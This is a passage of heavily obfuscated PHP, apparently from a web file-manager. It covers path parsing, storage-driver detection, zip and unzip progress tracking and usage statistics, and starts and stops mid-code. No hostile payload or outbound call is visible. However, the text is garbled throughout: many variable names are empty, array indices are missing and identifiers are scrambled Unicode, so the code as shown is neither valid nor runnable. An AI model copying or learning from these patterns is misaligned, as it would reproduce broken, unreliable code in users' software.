} public static function clearEmptyFolder($) { $ =& $_SERVER[]; if (trim($, $[8]) == trim(self::$_historyBase, $[8])) { return; } $ǟ򠋘 = IO::pathFather($); $ = IO::has($, !0); if ($[$[249]] > 0 || $[$[250]] > 0) { return; } IO::remove($); self::clearEmptyFolder($ǟ򠋘); } private static function getBasePath() { $۬ =& $_SERVER[]; $š׽ = Model($۬[1344])->get($۬[1345]); if ($š׽) { if (!IO::exist($š׽)) { IO::mkdir($š׽); } if (get_path_this($š׽) == $۬[1330]) { $ѳ = $۬[1346] . rand_string(8); @rename($š׽, get_path_father($š׽) . $۬[8] . $ѳ); $š׽ = DATA_PATH . $ѳ . $۬[8]; file_put_contents(DATA_PATH . $۬[1277], $۬[12]); Model($۬[1344])->set($۬[1345], $š׽); } return $š׽; } $š׽ = DATA_PATH . $۬[1346] . rand_string(8) . $۬[8]; $š׽ = IO::mkdir($š׽); $š׽ = rtrim($š׽, $۬[8]) . $۬[8]; file_put_contents($š׽ . $۬[1277], $۬[12]); file_put_contents(DATA_PATH . $۬[1277], $۬[12]); Model($۬[1344])->set($۬[1345], $š׽); return $š׽; } } class KodIO { const KOD_SOURCE = "\173\163\157\165\x72\x63\x65\175"; const KOD_USER_RECYCLE = "\173\165\163\x65\x72\122\145\x63\x79\143\x6c\x65\x7d"; const KOD_USER_FAV = "\x7b\165\x73\x65\162\106\141\x76\x7d"; const KOD_USER_FILE_TAG = "\x7b\165\163\x65\162\106\x69\154\145\124\141\x67\175"; const KOD_USER_FILE_TYPE = "\173\x75\x73\145\x72\106\151\x6c\145\124\171\x70\145\175"; const KOD_GROUP_ROOT_SELF = "\173\x67\162\157\x75\160\122\157\157\x74\x53\145\154\x66\175"; const KOD_USER_SHARE = "\x7b\x75\x73\x65\162\x53\150\x61\x72\145\175"; const KOD_USER_SHARE_LINK = "\173\165\163\145\x72\x53\150\141\162\145\114\151\x6e\153\175"; const KOD_USER_SHARE_TO_ME = "\173\163\x68\x61\x72\x65\124\x6f\115\145\175"; const KOD_SHARE_ITEM = "\173\x73\150\141\162\x65\x49\x74\x65\x6d\175"; const KOD_SHARE_LINK = "\173\163\150\141\162\145\x49\164\145\x6d\114\x69\x6e\153\x7d"; const KOD_SEARCH = "\x7b\163\145\x61\x72\x63\150\175"; const KOD_BLOCK = "\173\142\x6c\157\x63\x6b\175"; const KOD_IO = "\x7b\151\x6f\x7d"; const KOD_USER_RECENT = "\173\x75\x73\145\162\x52\x65\156\143\145\156\164\x7d"; const KOD_USER_DRIVER = "\x7b\144\162\151\x76\145\x72\x7d"; public static function typeList() { $Ƣ =& $_SERVER[]; return array($Ƣ[1347] => self::KOD_SOURCE, $Ƣ[1348] => self::KOD_USER_RECYCLE, $Ƣ[1349] => self::KOD_USER_FAV, $Ƣ[1350] => self::KOD_USER_FILE_TAG, $Ƣ[1351] => self::KOD_USER_FILE_TYPE, $Ƣ[1352] => self::KOD_GROUP_ROOT_SELF, $Ƣ[1353] => self::KOD_USER_SHARE, $Ƣ[1354] => self::KOD_USER_SHARE_LINK, $Ƣ[1355] => self::KOD_USER_SHARE_TO_ME, $Ƣ[1356] => self::KOD_SHARE_ITEM, $Ƣ[1357] => self::KOD_SHARE_LINK, $Ƣ[1358] => self::KOD_SEARCH, $Ƣ[1359] => self::KOD_BLOCK, $Ƣ[1360] => self::KOD_IO, $Ƣ[1361] => self::KOD_USER_RECENT, $Ƣ[1362] => self::KOD_USER_DRIVER); } public static function parse($ȸ) { $ =& $_SERVER[]; $ȸ = self::clear($ȸ); $ާ = array_values(self::typeList()); preg_match($[1363], $ȸ, $); $悰 = array($[505] => !1, $[1364] => !1, $[502] => !1, $[97] => $ȸ, $[1262] => !1, $[1261] => $[12]); if (is_array($) && count($) == 5) { $߮ҝ = $[1365] . $[2] . $[412]; if (in_array($߮ҝ, $ާ)) { $悰[$[1262]] = $[1]; $悰[$[33]] = $߮ҝ; $悰[$[1366]] = substr($߮ҝ, 1, -1); $悰[$[484]] = $[3]; } $悰[$[1261]] = $[4]; } $ = array($[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $悰[$[1329]] = in_array($悰[$[33]], $); return $悰; } public static function isTruePath($) { $򖁘 =& $_SERVER[]; if (substr($, 0, 1) != $򖁘[1365]) { return !0; } if (strpos($, $򖁘[492]) === 0) { return !0; } if (strpos($, $򖁘[1333]) === 0) { return !0; } if (strpos($, $򖁘[1367]) === 0) { return !0; } if (strpos($, $򖁘[1368]) === 0) { return !0; } if (strpos($, $򖁘[1369]) === 0) { return !0; } return !1; } public static function clear($) { $ =& $_SERVER[]; $ = str_replace(array($[1168], $[65]), $[53], $); $ = str_replace($[110], $[8], $); $˵ = $[1370]; if (substr($, 0, 3) == $[1371]) { $ = substr($, 3); } while (strstr($, $˵)) { $ = str_replace($˵, $[8], $); } $ = preg_replace($[1372], $[8], $); if ($ == $[8]) { return $[8]; } $ = rtrim($, $[8]); return $; } public static function pathTrue($) { $ =& $_SERVER[]; if (!$) { return $[12]; } $ = str_replace($[601], $[8], str_replace($[1373], $[8], $)); $ = str_replace($[601], $[8], str_replace($[1373], $[8], $)); if (!strstr($, $[1371])) { return $; } $ = explode($[8], $); foreach ($ as $ŕͥ => $ج) { if ($ج !== $[1374]) { continue; } for ($靐 = $ŕͥ; $靐 >= 0; $靐--) { if ($[$靐] === $[10] || $[$靐] === $[1374] || $[$靐] === -1) { continue; } if ($[$靐] === $[12]) { $[$ŕͥ] = -1; break; } $[$ŕͥ] = -1; $[$靐] = -1; break; } } $ = array(); foreach ($ as $ج) { if ($ج !== -1) { $[] = $ج; } } $ػ␋ = implode($[8], $); if (strpos($ػ␋, $[1375]) === 0) { $ػ␋ = $[1371] . substr($ػ␋, strlen($[1375])); } return $ػ␋; } public static function pathUrlClear($) { $ =& $_SERVER[]; if (!$) { return $; } $ = rawurldecode($); $ = str_replace($[1373], $[8], $); if (strpos($, $[86]) > 0) { $ = substr($, 0, strpos($, $[86])); } if (strpos($, $[1376]) > 0) { $ = substr($, 0, strpos($, $[1376])); } return $; } public static function sourceID($) { $㓁 =& $_SERVER[]; $ = self::parse($); if ($[$㓁[33]] !== self::KOD_SOURCE) { show_json(LNG($㓁[1377]), !1); } return $[$㓁[484]]; } public static function make($鱶) { if (!$鱶) { return !1; } return self::makePath(self::KOD_SOURCE, intval($鱶)); } public static function makeShare($᫮, $ר) { return self::makePath(self::KOD_SHARE_ITEM, $᫮, $ר); } public static function makeFileTypePath($ݎ) { return self::makePath(self::KOD_USER_FILE_TYPE, $ݎ); } public static function makeFileTagPath($Ģ) { return self::makePath(self::KOD_USER_FILE_TAG, $Ģ); } public static function makePath($׋, $ۊ = '', $݅ = '') { $ =& $_SERVER[]; $ = substr($׋, 1, -1); $ۃ = $[1378] . $ . $[1379] . $ۊ . $[1380]; $ۃ = $݅ ? $ۃ . $݅ . $[8] : $ۃ; return $ۃ; } public static function hashPath($֮, $ = true) { $Ȫ =& $_SERVER[]; $ġ = is_array($֮) ? $֮ : IO::info($֮); $ = _get($ġ, $Ȫ[1381], $Ȫ[12]); if (!$ && isset($ġ[$Ȫ[245]])) { $ = trim($ġ[$Ȫ[245]], $Ȫ[131]); } if (!$ && isset($ġ[$Ȫ[203]]) && $ġ[$Ȫ[203]]) { $ġ = IO::info(KodIO::make($ġ[$Ȫ[203]])); $ = _get($ġ, $Ȫ[1381], $Ȫ[12]); } $ = md5($ġ[$Ȫ[97]] . $ġ[$Ȫ[89]] . $ġ[$Ȫ[98]]); if (!$ && file_exists($ġ[$Ȫ[97]])) { $ = Cache::get($ . $Ȫ[1382]); $ = !1; if (!$) { $ = IO::hashSimple($ġ[$Ȫ[97]]); Cache::set($ . $Ȫ[1382], $, 3600 * 24 * 30); } } if ($ && !$) { } return $ ? $ : $; } public static function hashPathSafe($, $ = true) { $ =& $_SERVER[]; $󓛫 = self::hashPath($, $); return md5($󓛫 . $[1383] . Model($[859])->get($[860])); } public static function initSystemPath() { $ =& $_SERVER[]; if (defined($[1384])) { return; } define($[1384], self::systemPath($[201])); define($[1385], self::systemPath($[1386])); define($[1387], self::systemPath($[1388])); define($[1389], self::systemPath($[1390])); IOHistory::bindEvent(); } public static function systemPath($) { $ =& $_SERVER[]; $ = $[1391] . ucfirst($); $ĝ = Model($[859])->get($); if ($ĝ) { return $ĝ; } if ($ == $[201]) { $ĝ = self::make(Model($[914])->systemRootPathAdd($[614])); } else { $ĝ = self::systemPath($[201]); $ = self::sourceID($ĝ); $ĝ = self::make(Model($[914])->mkdir($, $)); } Model($[859])->set($, $ĝ); return $ĝ; } public static function systemFolder($) { $ = IO_PATH_SYSTEM_SOURCE . $; $Ύˈ = Cache::get($); if (!$Ύˈ) { $ = IO::infoFullSimple($); if (!$) { $Ύˈ = IO::mkdir($, REPEAT_SKIP); } else { $Ύˈ = $[$_SERVER[][97]]; } Cache::set($, $Ύˈ, 3600 * 10); } return $Ύˈ; } public static function defaultDriver() { return Model($_SERVER[][856])->defaultDriver(); } public static function defaultIO() { $ =& $_SERVER[]; $׻ = self::defaultDriver(); return $[1392] . $׻[$[484]] . $[1380]; } public static function defaultDriverInit() { static $ҿ = false; if ($ҿ) { return $ҿ; } $ҿ = IO::init(self::defaultIO()); return $ҿ; } public static function fileTypeList() { $ф̍ =& $_SERVER[]; $ۀ = $GLOBALS[$ф̍[6]][$ф̍[1393]]; foreach ($ۀ as $ => $) { $ͧփ = $ф̍[1394] . $; $ = LNG($ͧփ); if ($ͧփ != $) { $ۀ[$][$ф̍[32]] = $; } } return $ۀ; } public static function diskList($ѝЉ = true) { $ = $_SERVER[][1395]; if ($ѝЉ) { $ = Cache::get($); if (is_array($)) { return $; } } $ = self::diskListGet(); Cache::set($, $, 60); return $; } public static function diskListGet() { $◭ =& $_SERVER[]; $؊ = array(); if ($GLOBALS[$◭[6]][$◭[1396]] == $◭[1397]) { $ = $◭[1398]; for ($ = 0; $ < strlen($); $++) { $蚡 = $[$] . $◭[1399]; if (file_exists($蚡)) { $؊[] = $蚡; } } return $؊; } if (!function_exists($◭[111])) { $؊[] = $◭[925]; return $؊; } $چ = explode($◭[65], shell_exec($◭[1400])); array_shift($چ); array_pop($چ); $ = array($◭[1401], $◭[1402], $◭[1403], $◭[1404], $◭[1405], $◭[1406], $◭[1407], $◭[1408]); foreach ($چ as $ƾ֭) { $݇ = preg_split($◭[1409], $ƾ֭); $蚡 = $݇[count($݇) - 1]; if (!strstr($݇[0], $◭[1410]) || !$蚡) { continue; } $Ǽ = rtrim($蚡, $◭[8]) . $◭[8]; if (in_array($Ǽ, $)) { continue; } $؊[] = $Ǽ; } return $؊; } public static function isSameDisk($̄, $ӑ) { $ƒ =& $_SERVER[]; if ($GLOBALS[$ƒ[6]][$ƒ[1396]] == $ƒ[1397]) { return strtolower(substr($̄, 0, 1)) == strtolower(substr($ӑ, 0, 1)); } $׃ = self::diskList(); $ѽ = !1; $ᾷ = !1; sort($׃); $׃ = array_reverse($׃); $̄ = rtrim($̄, $ƒ[8]) . $ƒ[8]; $ӑ = rtrim($ӑ, $ƒ[8]) . $ƒ[8]; foreach ($׃ as $ü) { $ע = strlen($ü); if (!$ѽ && substr($̄, 0, $ע) == $ü) { $ѽ = $ü; } if (!$ᾷ && substr($ӑ, 0, $ע) == $ü) { $ᾷ = $ü; } if ($ѽ && $ᾷ) { break; } } return $ѽ === $ᾷ; } public static function transferType($扵, $) { $ڂ؀ =& $_SERVER[]; $¦ = self::driverType($扵); $ = self::driverType($); if ($¦[$ڂ؀[33]] == $[$ڂ؀[33]] && $¦[$ڂ؀[1411]] == $[$ڂ؀[1411]]) { return $ڂ؀[1412]; } if ($¦[$ڂ؀[33]] == $ڂ؀[958] && $[$ڂ؀[33]] == $ڂ؀[119]) { return $ڂ؀[1290]; } if ($¦[$ڂ؀[33]] == $ڂ؀[119] && $[$ڂ؀[33]] == $ڂ؀[958]) { return $ڂ؀[120]; } return $ڂ؀[1413]; } public static function driverType($Ɛ) { $ۏ =& $_SERVER[]; $߲ = str_replace($ۏ[1414], $ۏ[12], strtolower($Ɛ->getType())); if ($߲ == $ۏ[846] || $߲ == $ۏ[1415] || $߲ == $ۏ[1416]) { $Ɛ = self::defaultDriverInit(); } else { if ($߲ == $ۏ[1300] || $߲ == $ۏ[1417]) { $Ɛ = IO::init($Ɛ->pathParse[$ۏ[1243]]); } } $ = $Ɛ->path; $߲ = str_replace($ۏ[1414], $ۏ[12], strtolower($Ɛ->getType())); if ($߲ == $ۏ[119]) { return array($ۏ[33] => $ۏ[119], $ۏ[1411] => $ۏ[12], $ۏ[97] => $, $ۏ[108] => $Ɛ); } return array($ۏ[33] => $ۏ[958], $ۏ[1411] => $Ɛ->pathDriver, $ۏ[97] => $, $ۏ[108] => $Ɛ); } public static function pathDriverType($) { return $ ? self::driverType(IO::init($)) : !1; } public static function pathDriverLocal($ૉ) { $ =& $_SERVER[]; $ = $ૉ ? self::driverType(IO::init($ૉ)) : !1; return strtolower($[$[33]]) == $[119] ? !0 : !1; } public static function allowCover($ҵ, $筴 = true) { $ҍ =& $_SERVER[]; if (is_string($ҵ)) { $ҵ = IO::info($ҵ); } if (!$ҵ || $ҵ[$ҍ[33]] == $ҍ[88] || $ҵ[$ҍ[89]] <= 100) { return !1; } if (isset($ҵ[$ҍ[1418]]) || !$ҵ[$ҍ[97]]) { return !1; } if (isset($ҵ[$ҍ[242]]) && !$ҵ[$ҍ[242]]) { return !1; } static $ = false; if (!$ || !$筴) { $Ц = self::driverType(IO::init($ҵ[$ҍ[97]])); $ = $Ц[$ҍ[108]]; $ = $ҍ[206]; if ($Ц[$ҍ[33]] == $ҍ[119]) { $ = $ҍ[1419]; } if ($Ц[$ҍ[108]] && is_array($Ц[$ҍ[108]]->config)) { $ᦈ = $Ц[$ҍ[108]]->config; if (isset($ᦈ[$ҍ[1420]]) && $ᦈ[$ҍ[1420]]) { $ = $ҍ[1419]; } } $ћܙ = KodIO::defaultDriver(); if (strtolower($ћܙ[$ҍ[108]]) == $ҍ[119] && is_array($ћܙ[$ҍ[6]])) { $ڒ = $ћܙ[$ҍ[6]][$ҍ[1273]]; if (substr($ڒ, 0, 2) == $ҍ[1421]) { $ڒ = str_replace($ҍ[1421], BASIC_PATH, $ڒ); } $ڒ = str_replace($ҍ[601], $ҍ[8], $ڒ); if (substr($ҵ[$ҍ[97]], 0, strlen($ڒ)) == $ڒ) { $ = $ҍ[206]; } } } return $ == $ҍ[1419] ? !0 : !1; } } class PathDriverBOS extends PathDriverS3 { public function __construct($) { parent::__construct($); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function fileOutLink($ġ) { $ʆ =& $_SERVER[]; if (substr($ġ, 0, 7) == $ʆ[322]) { $ġ = $ʆ[323] . substr($ġ, 7); } header($ʆ[185] . $ġ); die; } } goto fͮ; Cɢˋ: class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1892], array($this, $[1893])); Hook::bind($[1289], array($this, $[1894])); Hook::bind($[1895], array($this, $[1896])); $ =& $this->task; $[$[1897]] = $[1290]; if (!$[$[1668]]) { $[$[1668]] = LNG($[1898]); } } protected function endAfter() { $ꞓ =& $_SERVER[]; parent::endAfter(); Hook::unbind($ꞓ[1892], array($this, $ꞓ[1893])); Hook::unbind($ꞓ[1289], array($this, $ꞓ[1894])); Hook::unbind($ꞓ[1895], array($this, $ꞓ[1896])); } public function updateAfter() { $Յ =& $_SERVER[]; $Χ =& $this->task; if (!$Χ[$Յ[1152]] || !$Χ[$Յ[852]]) { if ($Χ[$Յ[1897]] != $Յ[398]) { return; } } if ($Χ[$Յ[1897]] == $Յ[1290]) { $β = 0; if ($Χ[$Յ[1832]]) { $β = $Χ[$Յ[1833]] / $Χ[$Յ[1832]]; } $Χ[$Յ[1781]] = $β * 0.3; } else { if ($Χ[$Յ[1897]] == $Յ[398]) { $β = $Χ[$Յ[1780]] / $Χ[$Յ[1152]]; $Χ[$Յ[1781]] = 0.3 + $β * 0.4; } else { if ($Χ[$Յ[1897]] == $Յ[120]) { $ƅ = 0; if ($Χ[$Յ[1834]] == $Յ[120]) { $ƅ = $Χ[$Յ[1833]]; } $β = ($Χ[$Յ[1837]] + $ƅ) / $Χ[$Յ[852]]; $Χ[$Յ[1781]] = 0.3 + 0.4 + $β * 0.3; } } } if ($Χ[$Յ[1781]] > 0) { $˫ = timeFloat() - $Χ[$Յ[1783]] - $Χ[$Յ[1786]]; $Χ[$Յ[1787]] = $˫ * (1 - $Χ[$Յ[1781]]) / $Χ[$Յ[1781]]; } } public function addFile($ӹ) { $غ =& $_SERVER[]; $ =& $this->task; $ = IO::info($ӹ); $[$غ[1830]] = $[$غ[32]]; $[$غ[1832]] = $[$غ[89]]; $[$غ[1833]] = 0; $[$غ[1154]] = $غ[1853]; $[$غ[1834]] = $غ[1290]; $[$غ[852]] = $[$غ[89]]; $[$غ[1152]] = 1; $ = 0; $[$غ[1841]] = array($غ[1842] => $ + 1, $غ[503] => $[$غ[32]], $غ[97] => $[$غ[97]], $غ[591] => $[$غ[591]] ? $[$غ[591]] : $[$غ[97]]); $this->update(); } public function zipEvent($˻, $, $Є, $) { $ބ =& $_SERVER[]; $֐ =& $this->task; $֐[$ބ[1830]] = get_path_this($); $֐[$ބ[1832]] = $; $֐[$ބ[1833]] = $Є; $֐[$ބ[1154]] = $˻ == $ބ[1899] ? $ބ[1900] : $ބ[1901]; $֐[$ބ[1834]] = $ބ[12]; $֐[$ބ[852]] = $; $֐[$ބ[1897]] = $ބ[398]; $this->update(); } public function unzipAfter($𗡵) { $ =& $_SERVER[]; $ =& $this->task; $[$[1897]] = $[120]; $ = IO::infoWithChildren($𗡵); $ = 0; $[$[1841]] = array($[1842] => $ + 1, $[503] => $[$[32]], $[97] => $[$[97]], $[591] => $[$[591]] ? $[$[591]] : $[$[97]]); if ($[$[33]] == $[240]) { $[$[1152]] = 1; } else { $[$[1152]] = $[$[92]][$[90]]; } $[$[1154]] = $[12]; $[$[1834]] = 0; $[$[1780]] = 0; $[$[1832]] = 0; $[$[1833]] = 0; $[$[1830]] = $[12]; $[$[1837]] = 0; $[$[852]] = $[$[89]]; $this->update(); self::log($[1902] . json_encode(array($, $))); } public function nameParse($̃) { $ۇ =& $_SERVER[]; $ =& $this->task; if ($[$ۇ[1897]] == $ۇ[1290]) { $[$ۇ[1897]] = $ۇ[398]; $[$ۇ[1837]] = 0; $[$ۇ[852]] = 0; } $ڌ = get_path_this($̃); if (strstr($ڌ, $ۇ[10])) { $[$ۇ[1780]] += 1; $[$ۇ[1152]] += 1; } $[$ۇ[1830]] = $̃; $this->update(); } } class TaskZip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1903], array($this, $[1893])); Hook::bind($[1895], array($this, $[1896])); $µ =& $this->task; $µ[$[1897]] = $[1290]; if (!$µ[$[1668]]) { $µ[$[1668]] = LNG($[1904]); } } protected function endAfter() { $ݛ =& $_SERVER[]; parent::endAfter(); Hook::unbind($ݛ[1903], array($this, $ݛ[1893])); Hook::unbind($ݛ[1895], array($this, $ݛ[1896])); } public function updateAfter() { $ =& $_SERVER[]; $ۇƲ =& $this->task; if (!$ۇƲ[$[1152]] || !$ۇƲ[$[852]]) { return; } if ($ۇƲ[$[1897]] == $[1290]) { $ۺ = $ۇƲ[$[1833]]; if ($ۇƲ[$[1834]] != $[1290]) { $ۺ = 0; } $ = ($ۇƲ[$[1837]] + $ۺ) / $ۇƲ[$[852]]; $ۇƲ[$[1781]] = $ * 0.3; } else { if ($ۇƲ[$[1897]] == $[398]) { $ = $ۇƲ[$[1780]] / $ۇƲ[$[1152]]; $ۇƲ[$[1781]] = 0.3 + $ * 0.5; } else { if ($ۇƲ[$[1897]] == $[120]) { $ = 0; if ($ۇƲ[$[1832]]) { $ = $ۇƲ[$[1833]] / $ۇƲ[$[1832]]; } $ۇƲ[$[1781]] = 0.3 + 0.5 + $ * 0.2; } } } if ($ۇƲ[$[1781]] > 0) { $ш = timeFloat() - $ۇƲ[$[1783]] - $ۇƲ[$[1786]]; $ۇƲ[$[1787]] = $ш * (1 - $ۇƲ[$[1781]]) / $ۇƲ[$[1781]]; } } public function copyFileStart($꤄, $, $Ŏߨ, $ڐ, $, $ж) { $ =& $_SERVER[]; parent::copyFileStart($꤄, $, $Ŏߨ, $ڐ, $, $ж); $ْ =& $this->task; if ($ْ[$[1897]] == $[398]) { $ْ[$[1897]] = $[120]; } $this->update(); } public function copyFileEnd($ח, $垟, $往, $, $ݍ, $ݟ) { $ =& $_SERVER[]; $ =& $this->task; $[$[1833]] = $[$[1832]]; $[$[1837]] += $[$[1832]]; $[$[1834]] = $[12]; $this->update(); } public function zipEvent($, $, $Ɍ, $ָڱ) { $ =& $_SERVER[]; $ſ =& $this->task; $ſ[$[1830]] = get_path_this($); $ſ[$[1832]] = $ָڱ; $ſ[$[1833]] = $Ɍ; $ſ[$[1154]] = $ == $[1905] ? $[1900] : $[1901]; $ſ[$[1834]] = $[12]; $ſ[$[852]] = $ָڱ; $ſ[$[1897]] = $[398]; $this->update(); } public function nameParse($̟) { $ =& $_SERVER[]; $ʕ =& $this->task; if ($ʕ[$[1780]] < $ʕ[$[1152]]) { $ = get_path_this($̟); if (strstr($, $[10])) { $ʕ[$[1780]] += 1; } } if ($ʕ[$[1897]] == $[1290]) { $ʕ[$[1897]] = $[398]; } $ʕ[$[1830]] = $̟; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($) { $ =& $_SERVER[]; $ = array($[671] => array($[33] => $[1906], $[359] => array($[265], $[854], $[1907], $[1908])), $[1909] => array($[33] => $[1910], $[359] => array($[265], $[852], $[1911], $[1912], $[1913]))); if (!isset($[$])) { return !1; } $this->optionType = $[$][$[33]]; $this->field = $[$][$[359]]; return !0; } public function listData($构 = false, $Ϯ = "\155\157\x64\151\146\171\x54\x69\155\x65", $ = false) { return parent::listData($构, $Ϯ, $); } public function trendList($Ĭ) { $ =& $_SERVER[]; $ = $this->listData(); if ($) { $Ի = end($); $ɉ = date($[1914], strtotime($[1915])); if ($Ի[$[265]] == $ɉ) { return $; } $Ю = strtotime($Ի[$[265]]); } if (!isset($Ю)) { $ = $Ĭ == $[671] ? $[607] : $[914]; $Ю = Model($)->min($[241]); } $ = $[1916] . ucfirst($Ĭ); $ᶊ = $this->dateList($Ю); foreach ($ᶊ as $ɉ) { $this->{$}($ɉ); } return $this->listData(); } private function dateList($) { $ތ͔ =& $_SERVER[]; $۾ޑ = $; $Ꙓ = strtotime($ތ͔[1915]); $ל = array(); while ($۾ޑ <= $Ꙓ) { $ל[] = date($ތ͔[1914], $۾ޑ); $۾ޑ = strtotime($ތ͔[1917], $۾ޑ); } return $ל; } public function _recordUser($˜ = '') { $Ī =& $_SERVER[]; $뀒訅 = strtotime(date($Ī[1918], strtotime($˜))); $槺 = strtotime(date($Ī[1919], strtotime($˜))); $è = array($Ī[241] => array($Ī[1102], $槺)); $ = Model($Ī[607])->where($è)->count($Ī[1779]); $è[$Ī[241]] = array($Ī[418], array($뀒訅, $槺)); $ɗ̀ = Model($Ī[607])->where($è)->count($Ī[1779]); $è[$Ī[33]] = $Ī[1920]; $랷 = Model($Ī[1921])->where($è)->count($Ī[1922]); $­ = array($Ī[265] => $˜, $Ī[854] => (int) $, $Ī[1907] => (int) $ɗ̀, $Ī[1908] => (int) $랷); return $this->insert($­); } public function _recordStore($ٓ = '') { $˕ =& $_SERVER[]; $ϝ = strtotime(date($˕[1919], strtotime($ٓ))); $ϐԎ = array($˕[241] => array($˕[1102], $ϝ)); $ͼ = Model($˕[553])->where($ϐԎ)->sum($˕[89]); $ϐԎ[$˕[494]] = 0; $ǥ = Model($˕[914])->where($ϐԎ)->sum($˕[89]); $ϐԎ[$˕[200]] = 1; $Ǵ = Model($˕[914])->where($ϐԎ)->sum($˕[89]); $ϐԎ[$˕[200]] = 2; $ = Model($˕[914])->where($ϐԎ)->sum($˕[89]); $뒶 = array($˕[265] => $ٓ, $˕[852] => (int) $ǥ, $˕[1911] => (int) $ͼ, $˕[1912] => (int) $Ǵ, $˕[1913] => (int) $); return $this->insert($뒶); } public function trend($, $Ǿ) { $ٕ֘ =& $_SERVER[]; if (!$this->init($)) { return !1; } $ⵧ = $this->trendList($); if ($ⵧ && $Ǿ != $ٕ֘[1752]) { $ = $ⵧ[0][$ٕ֘[265]]; $ = $this->validDate($Ǿ, $); $ = array(); $ = array_to_keyvalue($ⵧ, $ٕ֘[265]); foreach ($ as $) { if (isset($[$])) { $ = $[$]; } else { $ = end($ⵧ); $[$ٕ֘[265]] = $; if ($ == $ٕ֘[671]) { $[$ٕ֘[1907]] = $[$ٕ֘[1908]] = 0; } } $[] = $; } $ⵧ = $; } $ = array($ٕ֘[671] => array($ٕ֘[854] => LNG($ٕ֘[1923]), $ٕ֘[1907] => LNG($ٕ֘[1924]), $ٕ֘[1908] => LNG($ٕ֘[1925])), $ٕ֘[1909] => array($ٕ֘[852] => LNG($ٕ֘[1926]), $ٕ֘[1911] => LNG($ٕ֘[1927]), $ٕ֘[1912] => LNG($ٕ֘[1928]), $ٕ֘[1913] => LNG($ٕ֘[1929]))); $ = array($ٕ֘[671] => $ٕ֘[1930], $ٕ֘[1909] => $ٕ֘[89]); if (empty($ⵧ)) { $ = date($ٕ֘[1914], strtotime($ٕ֘[1915])); $ = array($ٕ֘[265] => $); foreach ($[$] as $ => $) { $[$] = 0; } $ⵧ[] = $; } $ۗ܎ = array(); foreach ($ⵧ as $) { if ($ == $ٕ֘[1909] && $[$ٕ֘[1911]] > $[$ٕ֘[852]]) { $[$ٕ֘[1911]] = $[$ٕ֘[852]]; } foreach ($[$] as $ => $梜) { $ = array($ٕ֘[265] => $[$ٕ֘[265]], $ٕ֘[1668] => $梜); $[$[$]] = isset($[$]) ? $[$] : 0; $ۗ܎[] = $; } } return $ۗ܎; } public function validDate($, $) { $݄句 =& $_SERVER[]; $ = date($݄句[1914], strtotime($݄句[1915])); $ޮ = array($); switch ($) { case $݄句[1759]: $𺔢 = mktime(0, 0, 0, date($݄句[1931]), date($݄句[1460]) - date($݄句[1550]) + 7 - 7, date($݄句[1932])); $ç = 0; do { $÷ = date($݄句[1914], $𺔢 - 3600 * 24 * 7 * $ç); $ޮ[] = $÷; $ç++; } while ($ < $÷); break; case $݄句[1757]: $ç = 1; do { $˙ = date($݄句[1933], strtotime("\55\40{$ç}\40\x6d\x6f\x6e\164\150\163")); $ޮ[] = $˙; $ç++; } while ($ < $˙); break; case $݄句[1934]: $ݝ = (int) date($݄句[1932], strtotime($)); $ = (int) date($݄句[1932]); if ($ݝ >= $) { break; } for ($ݝ; $ݝ < $; $ݝ++) { $ޮ[] = $ݝ . $݄句[1935]; } break; default: break; } if ($ > end($ޮ)) { array_pop($ޮ); } sort($ޮ); return $ޮ; } public function listTable($ڟ) { $͉ = ucfirst($ڟ); return Model($͉)->listData(); } public function option($˯) { $ = $_SERVER[][1936] . ucfirst($˯); return $this->{$}(); } private function optionUser() { $ջ =& $_SERVER[]; $ = Model($ջ[607])->count($ջ[1779]); $ƨ = Model($ջ[607])->where($ջ[1937])->count($ջ[1779]); $ = intval($GLOBALS[$ջ[6]][$ջ[434]][$ջ[1725]]) / 3600; $ю = strtotime("\x2d{$}\x20\150\x6f\165\x72\163"); $ = strtotime(date($ջ[1918])); if ($ю < $) { $ю = $; } $ = array($ջ[1938] => array($ջ[1103], $ю)); $ѷ֠ = (int) Model($ջ[607])->where($)->count($ջ[1779]); if (!$ѷ֠) { $ѷ֠ = 1; } $ = array($ջ[1938] => array($ջ[1103], $)); $慈 = Model($ջ[607])->where($)->count($ջ[1779]); return array($ջ[847] => (int) $, $ջ[1939] => (int) ($ - $ƨ), $ջ[1940] => (int) $ƨ, $ջ[1941] => (int) $慈, $ջ[1942] => $ѷ֠); } private function optionFile() { $ύ =& $_SERVER[]; $ǵ = $this->sourceSize(); $ܶ׊ = $ǵ[$ύ[89]]; $ = $ǵ[$ύ[1911]]; $ف͛ = Model($ύ[914])->where(array($ύ[494] => 0))->count($ύ[203]); $ = array($ύ[494] => 0, $ύ[241] => array($ύ[1103], strtotime(date($ύ[1918])))); $ = Model($ύ[914])->where($)->sum($ύ[89]); $ = Model($ύ[914])->where($)->count($ύ[203]); return array($ύ[852] => $ܶ׊, $ύ[1911] => $, $ύ[1943] => $ܶ׊ - $, $ύ[1944] => (int) $, $ύ[854] => (int) $ف͛, $ύ[1945] => (int) $); } private function optionAccess() { $ =& $_SERVER[]; return array($[847] => $this->typeLogCnt(), $[120] => $this->typeLogCnt($[120]), $[534] => $this->typeLogCnt($[534]), $[1946] => $this->typeLogCnt($[1946]), $[1947] => $this->typeLogCnt($[1947]), $[671] => $this->typeLogCnt($[12], $[1922])); } private function typeLogCnt($ = '', $ĻИ = "\151\144") { $ =& $_SERVER[]; $߹Ô = array($[120] => array($[1948], $[1949]), $[534] => array($[1950], $[1951]), $[1946] => array($[1952], $[1953], $[1954]), $[1947] => array($[1955], $[1956]), $[1957] => array($[1958], $[1959], $[1960])); $ = strtotime(date($[1918])); $ې = array($[241] => array($[1103], $)); if ($) { $ې[$[33]] = array($[7], $߹Ô[$]); } $ = Model($[1921])->where($ې)->count($ĻИ); return (int) $; } private function optionServer() { $󾪓 =& $_SERVER[]; $ꇐ = $this->diskDriver(); $ = KodIO::defaultDriver(); $ʮ؛ = array($󾪓[907] => $[$󾪓[484]]); $ = Model($󾪓[553])->where($ʮ؛)->sum($󾪓[89]); $ = explode($󾪓[53], $_SERVER[$󾪓[157]]); $ = $[0]; $ = 